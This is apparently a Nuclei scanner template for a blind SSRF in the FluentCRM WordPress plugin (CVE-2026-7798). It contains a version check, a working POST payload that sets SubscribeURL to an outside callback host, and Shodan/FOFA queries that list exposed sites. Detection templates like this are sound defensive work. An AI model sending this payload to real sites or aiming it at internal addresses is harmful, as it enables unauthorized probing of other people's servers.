WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF

id: CVE-2026-7798

info:
  name: WordPress FluentCRM <= 2.9.87 - Unauthenticated Blind SSRF
  author: 0x_Akoko
  severity: medium
  description: |
    FluentCRM WordPress plugin <= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.
  impact: |
    Unauthenticated attackers can make arbitrary internal web requests, potentially querying or modifying internal service information.
  remediation: |
    Update to a version later than 2.9.87 or the latest available version.
  reference:
    - https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-7798
    - https://wordpress.org/plugins/fluent-crm/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2026-7798
    epss-score: 0.00645
    epss-percentile: 0.46435
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
    publicwww-query: "wp-content/plugins/fluent-crm"
    fofa-query: body="fluent-crm"
    shodan-query: http.html:"fluent-crm"
  tags: cve,cve2026,wordpress,wp-plugin,fluentcrm,ssrf,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/fluent-crm/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "FluentCRM")'
          - 'compare_versions(version, "<= 2.9.87")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'
        group: 1
        internal: true

  - raw:
      - |
        POST /?fluentcrm=1&route=bounce_handler&provider=ses HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"Type":"SubscriptionConfirmation","SubscribeURL":"http://{{interactsh-url}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
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